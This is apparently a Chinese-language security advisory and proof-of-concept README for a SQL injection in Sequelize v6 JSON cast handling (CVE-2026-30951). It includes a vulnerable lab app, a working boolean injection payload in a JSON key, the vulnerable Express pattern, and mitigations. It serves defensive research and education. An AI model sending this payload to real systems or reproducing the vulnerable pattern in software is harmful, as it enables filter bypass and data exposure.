
CVE-2026-30951 — 已更新!
Sequelize JSON Cast SQL 注入
CVE-2026-30951 Sequelize JSON Cast SQL 注入
★ CVE-2026-30951 Sequelize ORM SQL 注入 PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
概述
CVE-2026-30951 是 Sequelize v6 中的一个 SQL 注入 漏洞,Sequelize v6 是一个广泛使用的 Node.js ORM。
该漏洞存在于 JSON/JSONB
where子句处理过程中。当 Sequelize 解析包含::的 JSON 路径键时,::之后的值会被当作 SQL cast 类型处理,并在未经适当验证的情况下被插入到生成的 SQL 中。如果攻击者能够控制传入 Sequelize
where子句的 JSON 对象键,就可以操纵生成的 SQL 查询。
受影响版本
| 类别 | 版本 |
|---|---|
| 受影响 | Sequelize v6.x <= 6.37.7 |
| 已修复 | Sequelize 6.37.8 |
| 不受影响 | Sequelize v7 / @sequelize/core |
影响
- 通过攻击者控制的 JSON 对象键进行 SQL 注入
- 通过布尔型注入绕过搜索过滤器
- 在 ORM 生成的 SQL 中非预期地操纵查询条件
环境
本仓库包含一个最小化的存在漏洞的 Node.js、Express、Sequelize 和 SQLite 挑战应用。
本地运行
npm install
npm start
应用启动于:
http://127.0.0.1:9100
Docker
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Docker 容器启动于:
http://127.0.0.1:9100
PoC
启动存在漏洞的环境后,按照以下步骤复现注入。
步骤 1. 发送正常的搜索请求
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
这只会返回符合正常名称搜索逻辑的用户。
步骤 2. 触发基于布尔的 SQL 注入
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
预期结果:
返回所有用户行。
步骤 3. 确认发生了 SQL 注入
构造的 JSON 键会导致 Sequelize 生成类似以下的 cast 表达式:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
由于 cast 类型由攻击者控制,OR 1=1 条件改变了原本预期的 WHERE 子句行为。从同一搜索端点返回所有行,确认了 SQL 注入是可能的。
分析
技术根本原因
该漏洞是由 Sequelize v6 中对 JSON cast 类型验证不足导致的。
在内部,Sequelize 的 JSON 遍历逻辑会按 :: 拆分 JSON 路径键:
jsonKey::castType
然后 cast 类型会被用于生成的 SQL 中,例如:
CAST(<json_extract_expression> AS <cast_type>)
在受影响版本中,<cast_type> 没有被安全转义,也没有被限制在已知安全的允许列表中。这使得攻击者控制的 JSON 键能够突破 cast 表达式并注入 SQL。
危险模式
在使用受影响 Sequelize 版本时,任何类似以下模式的应用都可能存在漏洞:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
这很危险,因为攻击者不仅控制 JSON 值,还控制 JSON 对象键。
为什么这很重要
该漏洞尤其危险,因为许多开发者认为 ORM 查询构建器会自动防止 SQL 注入。在这种情况下,注入发生在 ORM 生成的 SQL 内部,而此时应用已经将结构化 JavaScript 对象传递给了 Sequelize。
根据应用逻辑的不同,利用该漏洞可能允许:
- 绕过预期的搜索过滤器
- 改变布尔查询条件
- 改变 ORM 生成 SQL 的行为
这从根本上是一个 CWE-89:SQL 命令中使用的特殊元素的不当中和 问题。
场景
+-------------------------------------------+
| 攻击者 |
+-------------------------------------------+
|
| 发送带有恶意 name:: 键的
| 构造 JSON 过滤器
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize JSON where 子句
| 处理包含 :: 的键
v
+-------------------------------------------+
| 未转义的 SQL cast 类型注入 |
+-------------------------------------------+
|
| 布尔条件操纵
v
+-------------------------------------------+
| 确认 SQL 注入成功 |
+-------------------------------------------+
缓解措施
- 将 Sequelize 升级到 6.37.8 或更高版本
- 不要将用户控制的对象直接传入 Sequelize JSON/JSONB
where子句 - 在构建 ORM 过滤器之前,拒绝或规范化用户控制的 JSON 键
- 使用基于白名单的过滤器构造,而不是接受任意请求体对象
- 除非明确需要,否则拒绝包含 SQL 控制语法或 cast 分隔符(如
::)的 JSON 键 - 优先使用服务器定义的查询字段,例如:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
免责声明
本仓库仅用于安全研究、防御性验证以及在受控环境中的教育用途。
不要对您不拥有或没有明确测试许可的系统使用此 PoC。
EQST Insight
我们每月发布一次 CVE 和恶意软件分析。如果您感兴趣,请通过以下链接查看我们的出版物。
- https://www.skshieldus.com/security-insights/reports?tab=eqst
- https://www.skshieldus.com/en/report?tab=eqst